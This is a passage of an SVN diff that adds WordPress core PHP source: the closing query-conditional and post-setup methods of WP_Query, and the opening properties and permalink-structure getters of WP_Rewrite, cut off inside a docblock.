+		elseif ( 'page' == get_option( 'show_on_front') && get_option( 'page_on_front' ) && $this->is_page( get_option( 'page_on_front' ) ) )
+			return true;
+		else
+			return false;
+	}
+
+	/**
+	 * Is the query for the blog homepage?
+	 *
+	 * This is the page which shows the time based blog content of your site.
+	 *
+	 * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_for_posts'.
+	 *
+	 * If you set a static page for the front page of your site, this function will return
+	 * true only on the page you set as the "Posts page".
+	 *
+	 * @see WP_Query::is_front_page()
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool True if blog view homepage.
+	 */
+	public function is_home() {
+		return (bool) $this->is_home;
+	}
+
+	/**
+	 * Is the query for an existing month archive?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_month() {
+		return (bool) $this->is_month;
+	}
+
+	/**
+	 * Is the query for an existing single page?
+	 *
+	 * If the $page parameter is specified, this function will additionally
+	 * check if the query is for one of the pages specified.
+	 *
+	 * @see WP_Query::is_single()
+	 * @see WP_Query::is_singular()
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param int|string|array $page Optional. Page ID, title, slug, path, or array of such. Default empty.
+	 * @return bool Whether the query is for an existing single page.
+	 */
+	public function is_page( $page = '' ) {
+		if ( !$this->is_page )
+			return false;
+
+		if ( empty( $page ) )
+			return true;
+
+		$page_obj = $this->get_queried_object();
+
+		$page = array_map( 'strval', (array) $page );
+
+		if ( in_array( (string) $page_obj->ID, $page ) ) {
+			return true;
+		} elseif ( in_array( $page_obj->post_title, $page ) ) {
+			return true;
+		} elseif ( in_array( $page_obj->post_name, $page ) ) {
+			return true;
+		} else {
+			foreach ( $page as $pagepath ) {
+				if ( ! strpos( $pagepath, '/' ) ) {
+					continue;
+				}
+				$pagepath_obj = get_page_by_path( $pagepath );
+
+				if ( $pagepath_obj && ( $pagepath_obj->ID == $page_obj->ID ) ) {
+					return true;
+				}
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Is the query for paged result and not for the first page?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_paged() {
+		return (bool) $this->is_paged;
+	}
+
+	/**
+	 * Is the query for a post or page preview?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_preview() {
+		return (bool) $this->is_preview;
+	}
+
+	/**
+	 * Is the query for the robots file?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_robots() {
+		return (bool) $this->is_robots;
+	}
+
+	/**
+	 * Is the query for a search?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_search() {
+		return (bool) $this->is_search;
+	}
+
+	/**
+	 * Is the query for an existing single post?
+	 *
+	 * Works for any post type excluding pages.
+	 *
+	 * If the $post parameter is specified, this function will additionally
+	 * check if the query is for one of the Posts specified.
+	 *
+	 * @see WP_Query::is_page()
+	 * @see WP_Query::is_singular()
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param int|string|array $post Optional. Post ID, title, slug, path, or array of such. Default empty.
+	 * @return bool Whether the query is for an existing single post.
+	 */
+	public function is_single( $post = '' ) {
+		if ( !$this->is_single )
+			return false;
+
+		if ( empty($post) )
+			return true;
+
+		$post_obj = $this->get_queried_object();
+
+		$post = array_map( 'strval', (array) $post );
+
+		if ( in_array( (string) $post_obj->ID, $post ) ) {
+			return true;
+		} elseif ( in_array( $post_obj->post_title, $post ) ) {
+			return true;
+		} elseif ( in_array( $post_obj->post_name, $post ) ) {
+			return true;
+		} else {
+			foreach ( $post as $postpath ) {
+				if ( ! strpos( $postpath, '/' ) ) {
+					continue;
+				}
+				$postpath_obj = get_page_by_path( $postpath, OBJECT, $post_obj->post_type );
+
+				if ( $postpath_obj && ( $postpath_obj->ID == $post_obj->ID ) ) {
+					return true;
+				}
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Is the query for an existing single post of any post type (post, attachment, page,
+	 * custom post types)?
+	 *
+	 * If the $post_types parameter is specified, this function will additionally
+	 * check if the query is for one of the Posts Types specified.
+	 *
+	 * @see WP_Query::is_page()
+	 * @see WP_Query::is_single()
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string|array $post_types Optional. Post type or array of post types. Default empty.
+	 * @return bool Whether the query is for an existing single post of any of the given post types.
+	 */
+	public function is_singular( $post_types = '' ) {
+		if ( empty( $post_types ) || !$this->is_singular )
+			return (bool) $this->is_singular;
+
+		$post_obj = $this->get_queried_object();
+
+		return in_array( $post_obj->post_type, (array) $post_types );
+	}
+
+	/**
+	 * Is the query for a specific time?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_time() {
+		return (bool) $this->is_time;
+	}
+
+	/**
+	 * Is the query for a trackback endpoint call?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_trackback() {
+		return (bool) $this->is_trackback;
+	}
+
+	/**
+	 * Is the query for an existing year archive?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_year() {
+		return (bool) $this->is_year;
+	}
+
+	/**
+	 * Is the query a 404 (returns no results)?
+	 *
+	 * @since 3.1.0
+	 *
+	 * @return bool
+	 */
+	public function is_404() {
+		return (bool) $this->is_404;
+	}
+
+	/**
+	 * Is the query for an embedded post?
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return bool
+	 */
+	public function is_embed() {
+		return (bool) $this->is_embed;
+	}
+
+	/**
+	 * Is the query the main query?
+	 *
+	 * @since 3.3.0
+	 *
+	 * @global WP_Query $wp_query Global WP_Query instance.
+	 *
+	 * @return bool
+	 */
+	public function is_main_query() {
+		global $wp_the_query;
+		return $wp_the_query === $this;
+	}
+
+	/**
+	 * Set up global post data.
+	 *
+	 * @since 4.1.0
+	 * @since 4.4.0 Added the ability to pass a post ID to `$post`.
+	 *
+	 * @global int             $id
+	 * @global WP_User         $authordata
+	 * @global string|int|bool $currentday
+	 * @global string|int|bool $currentmonth
+	 * @global int             $page
+	 * @global array           $pages
+	 * @global int             $multipage
+	 * @global int             $more
+	 * @global int             $numpages
+	 *
+	 * @param WP_Post|object|int $post WP_Post instance or Post ID/object.
+	 * @return true True when finished.
+	 */
+	public function setup_postdata( $post ) {
+		global $id, $authordata, $currentday, $currentmonth, $page, $pages, $multipage, $more, $numpages;
+
+		if ( ! ( $post instanceof WP_Post ) ) {
+			$post = get_post( $post );
+		}
+
+		if ( ! $post ) {
+			return;
+		}
+
+		$id = (int) $post->ID;
+
+		$authordata = get_userdata($post->post_author);
+
+		$currentday = mysql2date('d.m.y', $post->post_date, false);
+		$currentmonth = mysql2date('m', $post->post_date, false);
+		$numpages = 1;
+		$multipage = 0;
+		$page = $this->get( 'page' );
+		if ( ! $page )
+			$page = 1;
+
+		/*
+		 * Force full post content when viewing the permalink for the $post,
+		 * or when on an RSS feed. Otherwise respect the 'more' tag.
+		 */
+		if ( $post->ID === get_queried_object_id() && ( $this->is_page() || $this->is_single() ) ) {
+			$more = 1;
+		} elseif ( $this->is_feed() ) {
+			$more = 1;
+		} else {
+			$more = 0;
+		}
+
+		$content = $post->post_content;
+		if ( false !== strpos( $content, '<!--nextpage-->' ) ) {
+			$content = str_replace( "\n<!--nextpage-->\n", '<!--nextpage-->', $content );
+			$content = str_replace( "\n<!--nextpage-->", '<!--nextpage-->', $content );
+			$content = str_replace( "<!--nextpage-->\n", '<!--nextpage-->', $content );
+
+			// Remove the nextpage block delimiters, to avoid invalid block structures in the split content.
+			$content = str_replace( '<!-- wp:nextpage -->', '', $content );
+			$content = str_replace( '<!-- /wp:nextpage -->', '', $content );
+
+			// Ignore nextpage at the beginning of the content.
+			if ( 0 === strpos( $content, '<!--nextpage-->' ) )
+				$content = substr( $content, 15 );
+
+			$pages = explode('<!--nextpage-->', $content);
+		} else {
+			$pages = array( $post->post_content );
+		}
+
+		/**
+		 * Filters the "pages" derived from splitting the post content.
+		 *
+		 * "Pages" are determined by splitting the post content based on the presence
+		 * of `<!-- nextpage -->` tags.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array   $pages Array of "pages" derived from the post content.
+		 *                       of `<!-- nextpage -->` tags..
+		 * @param WP_Post $post  Current post object.
+		 */
+		$pages = apply_filters( 'content_pagination', $pages, $post );
+
+		$numpages = count( $pages );
+
+		if ( $numpages > 1 ) {
+			if ( $page > 1 ) {
+				$more = 1;
+			}
+			$multipage = 1;
+		} else {
+	 		$multipage = 0;
+	 	}
+
+		/**
+		 * Fires once the post data has been setup.
+		 *
+		 * @since 2.8.0
+		 * @since 4.1.0 Introduced `$this` parameter.
+		 *
+		 * @param WP_Post  $post The Post object (passed by reference).
+		 * @param WP_Query $this The current Query object (passed by reference).
+		 */
+		do_action_ref_array( 'the_post', array( &$post, &$this ) );
+
+		return true;
+	}
+	/**
+	 * After looping through a nested query, this function
+	 * restores the $post global to the current post in this query.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @global WP_Post $post
+	 */
+	public function reset_postdata() {
+		if ( ! empty( $this->post ) ) {
+			$GLOBALS['post'] = $this->post;
+			$this->setup_postdata( $this->post );
+		}
+	}
+
+	/**
+	 * Lazyload term meta for posts in the loop.
+	 *
+	 * @since 4.4.0
+	 * @deprecated 4.5.0 See wp_queue_posts_for_term_meta_lazyload().
+	 *
+	 * @param mixed $check
+	 * @param int   $term_id
+	 * @return mixed
+	 */
+	public function lazyload_term_meta( $check, $term_id ) {
+		_deprecated_function( __METHOD__, '4.5.0' );
+		return $check;
+	}
+
+	/**
+	 * Lazyload comment meta for comments in the loop.
+	 *
+	 * @since 4.4.0
+	 * @deprecated 4.5.0 See wp_queue_comments_for_comment_meta_lazyload().
+	 *
+	 * @param mixed $check
+	 * @param int   $comment_id
+	 * @return mixed
+	 */
+	public function lazyload_comment_meta( $check, $comment_id ) {
+		_deprecated_function( __METHOD__, '4.5.0' );
+		return $check;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-rewrite.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-rewrite.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-rewrite.php	(revision 56912)
@@ -0,0 +1,1891 @@
+<?php
+/**
+ * Rewrite API: WP_Rewrite class
+ *
+ * @package WordPress
+ * @subpackage Rewrite
+ * @since 1.5.0
+ */
+
+/**
+ * Core class used to implement a rewrite component API.
+ *
+ * The WordPress Rewrite class writes the rewrite module rules to the .htaccess
+ * file. It also handles parsing the request to get the correct setup for the
+ * WordPress Query class.
+ *
+ * The Rewrite along with WP class function as a front controller for WordPress.
+ * You can add rules to trigger your page view and processing using this
+ * component. The full functionality of a front controller does not exist,
+ * meaning you can't define how the template files load based on the rewrite
+ * rules.
+ *
+ * @since 1.5.0
+ */
+class WP_Rewrite {
+	/**
+	 * Permalink structure for posts.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	public $permalink_structure;
+
+	/**
+	 * Whether to add trailing slashes.
+	 *
+	 * @since 2.2.0
+	 * @var bool
+	 */
+	public $use_trailing_slashes;
+
+	/**
+	 * Base for the author permalink structure (example.com/$author_base/authorname).
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $author_base = 'author';
+
+	/**
+	 * Permalink structure for author archives.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $author_structure;
+
+	/**
+	 * Permalink structure for date archives.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $date_structure;
+
+	/**
+	 * Permalink structure for pages.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $page_structure;
+
+	/**
+	 * Base of the search permalink structure (example.com/$search_base/query).
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $search_base = 'search';
+
+	/**
+	 * Permalink structure for searches.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $search_structure;
+
+	/**
+	 * Comments permalink base.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $comments_base = 'comments';
+
+	/**
+	 * Pagination permalink base.
+	 *
+	 * @since 3.1.0
+	 * @var string
+	 */
+	public $pagination_base = 'page';
+
+	/**
+	 * Comments pagination permalink base.
+	 *
+	 * @since 4.2.0
+	 * @var string
+	 */
+	var $comments_pagination_base = 'comment-page';
+
+	/**
+	 * Feed permalink base.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $feed_base = 'feed';
+
+	/**
+	 * Comments feed permalink structure.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $comment_feed_structure;
+
+	/**
+	 * Feed request permalink structure.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $feed_structure;
+
+	/**
+	 * The static portion of the post permalink structure.
+	 *
+	 * If the permalink structure is "/archive/%post_id%" then the front
+	 * is "/archive/". If the permalink structure is "/%year%/%postname%/"
+	 * then the front is "/".
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 *
+	 * @see WP_Rewrite::init()
+	 */
+	public $front;
+
+	/**
+	 * The prefix for all permalink structures.
+	 *
+	 * If PATHINFO/index permalinks are in use then the root is the value of
+	 * `WP_Rewrite::$index` with a trailing slash appended. Otherwise the root
+	 * will be empty.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 *
+	 * @see WP_Rewrite::init()
+	 * @see WP_Rewrite::using_index_permalinks()
+	 */
+	public $root = '';
+
+	/**
+	 * The name of the index file which is the entry point to all requests.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	public $index = 'index.php';
+
+	/**
+	 * Variable name to use for regex matches in the rewritten query.
+	 *
+	 * @since 1.5.0
+	 * @var string
+	 */
+	var $matches = '';
+
+	/**
+	 * Rewrite rules to match against the request to find the redirect or query.
+	 *
+	 * @since 1.5.0
+	 * @var array
+	 */
+	var $rules;
+
+	/**
+	 * Additional rules added external to the rewrite class.
+	 *
+	 * Those not generated by the class, see add_rewrite_rule().
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	var $extra_rules = array();
+
+	/**
+	 * Additional rules that belong at the beginning to match first.
+	 *
+	 * Those not generated by the class, see add_rewrite_rule().
+	 *
+	 * @since 2.3.0
+	 * @var array
+	 */
+	var $extra_rules_top = array();
+
+	/**
+	 * Rules that don't redirect to WordPress' index.php.
+	 *
+	 * These rules are written to the mod_rewrite portion of the .htaccess,
+	 * and are added by add_external_rule().
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	var $non_wp_rules = array();
+
+	/**
+	 * Extra permalink structures, e.g. categories, added by add_permastruct().
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	var $extra_permastructs = array();
+
+	/**
+	 * Endpoints (like /trackback/) added by add_rewrite_endpoint().
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	var $endpoints;
+
+	/**
+	 * Whether to write every mod_rewrite rule for WordPress into the .htaccess file.
+	 *
+	 * This is off by default, turning it on might print a lot of rewrite rules
+	 * to the .htaccess file.
+	 *
+	 * @since 2.0.0
+	 * @var bool
+	 *
+	 * @see WP_Rewrite::mod_rewrite_rules()
+	 */
+	public $use_verbose_rules = false;
+
+	/**
+	 * Could post permalinks be confused with those of pages?
+	 *
+	 * If the first rewrite tag in the post permalink structure is one that could
+	 * also match a page name (e.g. %postname% or %author%) then this flag is
+	 * set to true. Prior to WordPress 3.3 this flag indicated that every page
+	 * would have a set of rules added to the top of the rewrite rules array.
+	 * Now it tells WP::parse_request() to check if a URL matching the page
+	 * permastruct is actually a page before accepting it.
+	 *
+	 * @since 2.5.0
+	 * @var bool
+	 *
+	 * @see WP_Rewrite::init()
+	 */
+	public $use_verbose_page_rules = true;
+
+	/**
+	 * Rewrite tags that can be used in permalink structures.
+	 *
+	 * These are translated into the regular expressions stored in
+	 * `WP_Rewrite::$rewritereplace` and are rewritten to the query
+	 * variables listed in WP_Rewrite::$queryreplace.
+	 *
+	 * Additional tags can be added with add_rewrite_tag().
+	 *
+	 * @since 1.5.0
+	 * @var array
+	 */
+	var $rewritecode = array(
+		'%year%',
+		'%monthnum%',
+		'%day%',
+		'%hour%',
+		'%minute%',
+		'%second%',
+		'%postname%',
+		'%post_id%',
+		'%author%',
+		'%pagename%',
+		'%search%'
+	);
+
+	/**
+	 * Regular expressions to be substituted into rewrite rules in place
+	 * of rewrite tags, see WP_Rewrite::$rewritecode.
+	 *
+	 * @since 1.5.0
+	 * @var array
+	 */
+	var $rewritereplace = array(
+		'([0-9]{4})',
+		'([0-9]{1,2})',
+		'([0-9]{1,2})',
+		'([0-9]{1,2})',
+		'([0-9]{1,2})',
+		'([0-9]{1,2})',
+		'([^/]+)',
+		'([0-9]+)',
+		'([^/]+)',
+		'([^/]+?)',
+		'(.+)'
+	);
+
+	/**
+	 * Query variables that rewrite tags map to, see WP_Rewrite::$rewritecode.
+	 *
+	 * @since 1.5.0
+	 * @var array
+	 */
+	var $queryreplace = array(
+		'year=',
+		'monthnum=',
+		'day=',
+		'hour=',
+		'minute=',
+		'second=',
+		'name=',
+		'p=',
+		'author_name=',
+		'pagename=',
+		's='
+	);
+
+	/**
+	 * Supported default feeds.
+	 *
+	 * @since 1.5.0
+	 * @var array
+	 */
+	public $feeds = array( 'feed', 'rdf', 'rss', 'rss2', 'atom' );
+
+	/**
+	 * Determines whether permalinks are being used.
+	 *
+	 * This can be either rewrite module or permalink in the HTTP query string.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return bool True, if permalinks are enabled.
+	 */
+	public function using_permalinks() {
+		return ! empty($this->permalink_structure);
+	}
+
+	/**
+	 * Determines whether permalinks are being used and rewrite module is not enabled.
+	 *
+	 * Means that permalink links are enabled and index.php is in the URL.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return bool Whether permalink links are enabled and index.php is in the URL.
+	 */
+	public function using_index_permalinks() {
+		if ( empty( $this->permalink_structure ) ) {
+			return false;
+		}
+
+		// If the index is not in the permalink, we're using mod_rewrite.
+		return preg_match( '#^/*' . $this->index . '#', $this->permalink_structure );
+	}
+
+	/**
+	 * Determines whether permalinks are being used and rewrite module is enabled.
+	 *
+	 * Using permalinks and index.php is not in the URL.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return bool Whether permalink links are enabled and index.php is NOT in the URL.
+	 */
+	public function using_mod_rewrite_permalinks() {
+		return $this->using_permalinks() && ! $this->using_index_permalinks();
+	}
+
+	/**
+	 * Indexes for matches for usage in preg_*() functions.
+	 *
+	 * The format of the string is, with empty matches property value, '$NUM'.
+	 * The 'NUM' will be replaced with the value in the $number parameter. With
+	 * the matches property not empty, the value of the returned string will
+	 * contain that value of the matches property. The format then will be
+	 * '$MATCHES[NUM]', with MATCHES as the value in the property and NUM the
+	 * value of the $number parameter.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int $number Index number.
+	 * @return string
+	 */
+	public function preg_index($number) {
+		$match_prefix = '$';
+		$match_suffix = '';
+
+		if ( ! empty($this->matches) ) {
+			$match_prefix = '$' . $this->matches . '[';
+			$match_suffix = ']';
+		}
+
+		return "$match_prefix$number$match_suffix";
+	}
+
+	/**
+	 * Retrieves all page and attachments for pages URIs.
+	 *
+	 * The attachments are for those that have pages as parents and will be
+	 * retrieved.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @return array Array of page URIs as first element and attachment URIs as second element.
+	 */
+	public function page_uri_index() {
+		global $wpdb;
+
+		// Get pages in order of hierarchy, i.e. children after parents.
+		$pages = $wpdb->get_results("SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'page' AND post_status != 'auto-draft'");
+		$posts = get_page_hierarchy( $pages );
+
+		// If we have no pages get out quick.
+		if ( !$posts )
+			return array( array(), array() );
+
+		// Now reverse it, because we need parents after children for rewrite rules to work properly.
+		$posts = array_reverse($posts, true);
+
+		$page_uris = array();
+		$page_attachment_uris = array();
+
+		foreach ( $posts as $id => $post ) {
+			// URL => page name
+			$uri = get_page_uri($id);
+			$attachments = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'attachment' AND post_parent = %d", $id ));
+			if ( !empty($attachments) ) {
+				foreach ( $attachments as $attachment ) {
+					$attach_uri = get_page_uri($attachment->ID);
+					$page_attachment_uris[$attach_uri] = $attachment->ID;
+				}
+			}
+
+			$page_uris[$uri] = $id;
+		}
+
+		return array( $page_uris, $page_attachment_uris );
+	}
+
+	/**
+	 * Retrieves all of the rewrite rules for pages.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return array Page rewrite rules.
+	 */
+	public function page_rewrite_rules() {
+		// The extra .? at the beginning prevents clashes with other regular expressions in the rules array.
+		$this->add_rewrite_tag( '%pagename%', '(.?.+?)', 'pagename=' );
+
+		return $this->generate_rewrite_rules( $this->get_page_permastruct(), EP_PAGES, true, true, false, false );
+	}
+
+	/**
+	 * Retrieves date permalink structure, with year, month, and day.
+	 *
+	 * The permalink structure for the date, if not set already depends on the
+	 * permalink structure. It can be one of three formats. The first is year,
+	 * month, day; the second is day, month, year; and the last format is month,
+	 * day, year. These are matched against the permalink structure for which
+	 * one is used. If none matches, then the default will be used, which is
+	 * year, month, day.
+	 *
+	 * Prevents post ID and date permalinks from overlapping. In the case of
+	 * post_id, the date permalink will be prepended with front permalink with
+	 * 'date/' before the actual permalink to form the complete date permalink
+	 * structure.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string|false False on no permalink structure. Date permalink structure.
+	 */
+	public function get_date_permastruct() {
+		if ( isset($this->date_structure) )
+			return $this->date_structure;
+
+		if ( empty($this->permalink_structure) ) {
+			$this->date_structure = '';
+			return false;
+		}
+
+		// The date permalink must have year, month, and day separated by slashes.
+		$endians = array('%year%/%monthnum%/%day%', '%day%/%monthnum%/%year%', '%monthnum%/%day%/%year%');
+
+		$this->date_structure = '';
+		$date_endian = '';
+
+		foreach ( $endians as $endian ) {
+			if ( false !== strpos($this->permalink_structure, $endian) ) {
+				$date_endian= $endian;
+				break;
+			}
+		}
+
+		if ( empty($date_endian) )
+			$date_endian = '%year%/%monthnum%/%day%';
+
+		/*
+		 * Do not allow the date tags and %post_id% to overlap in the permalink
+		 * structure. If they do, move the date tags to $front/date/.
+		 */
+		$front = $this->front;
+		preg_match_all('/%.+?%/', $this->permalink_structure, $tokens);
+		$tok_index = 1;
+		foreach ( (array) $tokens[0] as $token) {
+			if ( '%post_id%' == $token && ($tok_index <= 3) ) {
+				$front = $front . 'date/';
+				break;
+			}
+			$tok_index++;
+		}
+
+		$this->date_structure = $front . $date_endian;
+
+		return $this->date_structure;
+	}
+
+	/**
+	 * Retrieves the year permalink structure without month and day.
+	 *
+	 * Gets the date permalink structure and strips out the month and day
+	 * permalink structures.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return false|string False on failure. Year structure on success.
+	 */
+	public function get_year_permastruct() {
+		$structure = $this->get_date_permastruct();
+
+		if ( empty($structure) )
+			return false;
+
+		$structure = str_replace('%monthnum%', '', $structure);
+		$structure = str_replace('%day%', '', $structure);
+		$structure = preg_replace('#/+#', '/', $structure);
+
+		return $structure;
+	}
+
+	/**
+	 * Retrieves the month permalink structure without day and with year.
+	 *
+	 * Gets the date permalink structure and strips out the day permalink
+	 * structures. Keeps the year permalink structure.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return false|string False on failure. Year/Month structure on success.
+	 */
+	public function get_month_permastruct() {
+		$structure = $this->get_date_permastruct();
+
+		if ( empty($structure) )
+			return false;
+
+		$structure = str_replace('%day%', '', $structure);
+		$structure = preg_replace('#/+#', '/', $structure);
+
+		return $structure;
+	}
+
+	/**
+	 * Retrieves the day permalink structure with month and year.
+	 *
+	 * Keeps date permalink structure with all year, month, and day.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string|false False on failure. Year/Month/Day structure on success.
+	 */
+	public function get_day_permastruct() {
+		return $this->get_date_permastruct();
+	}
+
+	/**
+	 * Retrieves the permalink structure for categories.
+	 *
+	 * If the category_base property has no value, then the category structure
+	 * will have the front property value, followed by 'category', and finally
+	 * '%category%'. If it does, then the root property will be used, along with
+	 * the category_base property value.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string|false False on failure. Category permalink structure.
+	 */
+	public function get_category_permastruct() {
+		return $this->get_extra_permastruct('category');
+	}
+
+	/**
+	 * Retrieve the permalink structure for tags.
+	 *
+	 * If the tag_base property has no value, then the tag structure will have
+	 * the front property value, followed by 'tag', and finally '%tag%'. If it
+	 * does, then the root property will be used, along with the tag_base
+	 * property value.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @return string|false False on failure. Tag permalink structure.
+	 */
+	public function get_tag_permastruct() {
+		return $this->get_extra_permastruct('post_tag');
+	}
+
+	/**
+	 * Retrieves an extra permalink structure by name.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $name Permalink structure name.
+	 * @return string|false False if not found. Permalink structure string.
+	 */
+	public function get_extra_permastruct($name) {
+		if ( empty($this->permalink_structure) )
+			return false;
+
+		if ( isset($this->extra_permastructs[$name]) )
+			return $this->extra_permastructs[$name]['struct'];
+
+		return false;
+	}
+
+	/**
+	 * Retrieves the author permalink structure.
+	 *
+	 * The permalink structure is front property, author base, and finally
+	 * '/%author%'. Will set the author_structure property and then return it
+	 * without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string|false False if not found. Permalink structure string.
+	 */
+	public function get_author_permastruct() {
+		if ( isset($this->author_structure) )
+			return $this->author_structure;
+
+		if ( empty($this->permalink_structure) ) {
+			$this->author_structure = '';
+			return false;
+		}
+
+		$this->author_structure = $this->front . $this->author_base . '/%author%';
+
+		return $this->author_structure;
+	}
+
+	/**
+	 * Retrieves the search permalink structure.
+	 *
+	 * The permalink structure is root property, search base, and finally
+	 * '/%search%'. Will set the search_structure property and then return it
+	 * without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string|false False if not found. Permalink structure string.
+	 */
+	public function get_search_permastruct() {
+		if ( isset($this->search_structure) )
+			return $this->search_structure;
+
+		if ( empty($this->permalink_structure) ) {
+			$this->search_structure = '';
+			return false;
+		}
+
+		$this->search_structure = $this->root . $this->search_base . '/%search%';
+
+		return $this->search_structure;
+	}
+
+	/**
+	 * Retrieves the page permalink structure.
+	 *
+	 * The permalink structure is root property, and '%pagename%'. Will set the
+	 * page_structure property and then return it without attempting to set the
+	 * value again.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string|false False if not found. Permalink structure string.
+	 */
+	public function get_page_permastruct() {
+		if ( isset($this->page_structure) )
+			return $this->page_structure;
+
+		if (empty($this->permalink_structure)) {
+			$this->page_structure = '';
+			return false;
+		}
+
+		$this->page_structure = $this->root . '%pagename%';
+
+		return $this->page_structure;
+	}
+
+	/**
+	 * Retrieves the feed permalink structure.
+	 *
+	 * The permalink structure is root property, feed base, and finally
+	 * '/%feed%'. Will set the feed_structure property and then return it
+	 * without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string|false False if not found. Permalink structure string.
+	 */
+	public function get_feed_permastruct() {
+		if ( isset($this->feed_structure) )
+			return $this->feed_structure;
+
+		if ( empty($this->permalink_structure) ) {
+			$this->feed_structure = '';
+			return false;
+		}
+
+		$this->feed_structure = $this->root . $this->feed_base . '/%feed%';
+
+		return $this->feed_structure;
+	}
+
+	/**
+	 * Retrieves the comment feed permalink structure.
+	 *
+	 * The permalink structure is root property, comment base property, feed
+	 * base and finally '/%feed%'. Will set the comment_feed_structure property
+	 * and then return it without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string|false False if not found. Permalink structure string.
+	 */
+	public function get_comment_feed_permastruct() {
+		if ( isset($this->comment_feed_structure) )
+			return $this->comment_feed_structure;
+
+		if (empty($this->permalink_structure)) {
+			$this->comment_feed_structure = '';
+			return false;
+		}
+
+		$this->comment_feed_structure = $this->root . $this->comments_base . '/' . $this->feed_base . '/%feed%';
+
+		return $this->comment_feed_structure;
+	}
+
+	/**
+	 * Adds or updates existing rewrite tags (e.g. %postname%).
+	 *
+	 * If the tag already exists, replace the existing pattern and query for
+	 * that tag, otherwise add the new tag.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @see WP_Rewrite::$rewritecode
+	 * @see WP_Rewrite::$rewritereplace
+	 * @see WP_Rewrite::$queryreplace
+	 *
+	 * @param string $tag   Name of the rewrite tag to add or update.
+	 * @param string $regex Regular expression to substitute the tag for in rewrite rules.
+	 * @param string $query String to append to the rewritten query. Must end in '='.
+	 */
+	public function add_rewrite_tag( $tag, $regex, $query ) {
+		$position = array_search( $tag, $this->rewritecode );
+		if ( false !== $position && null !== $position ) {
+			$this->rewritereplace[ $position ] = $regex;
+			$this->queryreplace[ $position ] = $query;
+		} else {
+			$this->rewritecode[] = $tag;
+			$this->rewritereplace[] = $regex;
+			$this->queryreplace[] = $query;
+		}
+	}
+
+
+	/**
+	 * Removes an existing rewrite tag.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @see WP_Rewrite::$rewritecode
+	 * @see WP_Rewrite::$rewritereplace
+	 * @see WP_Rewrite::$queryreplace
+	 *
+	 * @param string $tag Name of the rewrite tag to remove.
+	 */
+	public function remove_rewrite_tag( $tag ) {
+		$position = array_search( $tag, $this->rewritecode );
+		if ( false !== $position && null !== $position ) {
+			unset( $this->rewritecode[ $position ] );
+			unset( $this->rewritereplace[ $position ] );
+			unset( $this->queryreplace[ $position ] );
+		}
+	}
+
+	/**
+	 * Generates rewrite rules from a permalink structure.
+	 *
+	 * The main WP_Rewrite function for building the rewrite rule list. The
+	 * contents of the function is a mix of black magic and regular expressions,
+	 * so best just ignore the contents and move to the parameters.
+	 *
